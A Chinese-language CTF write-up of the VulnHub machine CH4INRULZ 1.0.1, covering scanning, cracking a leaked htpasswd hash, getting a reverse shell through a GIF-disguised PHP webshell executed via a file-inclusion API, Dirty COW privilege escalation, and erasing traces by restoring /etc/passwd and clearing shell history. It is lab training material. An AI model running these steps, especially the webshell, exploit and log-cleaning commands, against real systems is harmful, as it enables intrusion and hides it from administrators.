[Vulnhub] CH4INRULZ_v1.0.1

目录

信息搜集

图片🐎拿shell

提权


下载链接:ch4inrulz: 1.0.1 ~ VulnHub

描述

弗兰克有一个小网站,他是一个聪明的开发人员,具有正常的安全背景,他总是喜欢遵循模式,你的目标是发现任何关键漏洞并获得对系统的访问权限,然后你需要获得 root 访问权限才能capture the root flag.

这台机器是为 Jordan's Top hacker 2018 CTF 制作的,我们试图让它模拟真实世界的攻击,以提高你的渗透测试技能。

该机器在vmware(播放器/工作站)上测试过,没有任何问题,所以我们建议使用VMware来运行它,使用virtualbox也可以正常工作。

难度:中级,您需要跳出框框思考并收集所有拼图才能完成工作。

该机器已经启用了 DHCP,因此您不会遇到任何网络问题。

Happy Hacking !

信息搜集

nmap -sP kali-ip

得到靶机ip:192.168.236.136

nmap -A 192.168.236.136 看看靶机开放了哪些服务

 开放21 ftp 22 ssh 80和8011 http服务

vsftpd version 2到2.3.4存在后门漏洞,攻击者可以通过该漏洞获取root权限。

 但是是2.3.5版本,所以这一步行不通,

访问一下试试 发现是一个类似于博客的页面

 dirb 扫描一下后台看看有没有登录地址或者隐藏页面

 development处需要登录,其他没有有用信息

dirb http://192.168.236.136 -X .bak(扫描固定 .bak 后缀)

 curl 可以看见这个index.html.bak备份文件的内容

<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->

这里我们得到了提示,用户名:密码格式的。应该是我们之前development的用户,不过这个密码被加密了。

解密的话,就需要用到我们的john工具了。

我们把 frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 写入文件1.txt中

在终端输入 john 1.txt --show

解密得到:frank:frank!!!

 成功登录

图片🐎拿shell

 这里是我的工具列表,有一个上传的工具。 我们猜一下是不是uploader

 可以上传图片,我们试着上传一个图片🐎 

在webshell.php前加上图片头 GIF89a 后缀改成.gif 这样我们的图片🐎就制作好了

 但是他路径没有告诉我们,我们需要访问他来运行这个木马

 我们试着打开8011端口,没有信息,dirb扫一下目录

 这里是一个api接口 那个files_api.php应该可以进行文件读取

 我们访问files_api.php 试试

 get 和 post都试一下,之后发现post可以

/var/www/development/uploader/upload.php

正常来说,我们应该读upload.php的文件,但是这里的回显表名,我们的upload.php被执行了

既然我们正常读取的话,可以按php代码来执行,那么我们直接filter读取一下upload.php

post: file=/var/www/development/uploader/upload.php

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?

可以得知我们上传的文件在 FRANKuploads/ 目录下

 知道了我们图片🐎的路径,之后我们就可以

post :file=/var/www/development/uploader/FRANKuploads/webshell.gif

来把他当初php代码执行,kali里打开监听

nc -lvvp 4444  访问 拿到shell

python -c 'import pty;pty.spawn("/bin/bash");' 转化为交互式

提权

查看内核版本,可以使用脏牛提权

  我们试着跟上次一样传CVE文件夹进去,make 但是发现没用g++编译器,不得行

接收方 :nc -l 1234 > dirty.c

发送方:nc 192.168.236.136 < dirty.c

1. 上传到服务器

2. gcc -pthread dirty.c -o dirty -lcrypt

3. ./dirty new-password

4. 切换 firefart (脚本运行时创建) 用户

5. 清理痕迹 恢复passwd文件,命令:

        mv /tmp/passwd.bak /etc/passwd

 这里创建了一个用户firefart

我们ssh 连接一下 firefart@192.168.236.136 密码:123456

是root组里用户,root权限

 在root里,我们也就拿到了我们的flag

 这个脚本使用完成之后可以利用 mv 来恢复原先的passwd 把先前创立的用户删掉

mv /tmp/passwd.bak /etc/passwd

这样系统管理员在日志查看的时候就看不出来异常了 如下:

成功删除

 history 可以看见我们执行的命令历史

history -c 就删除了

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值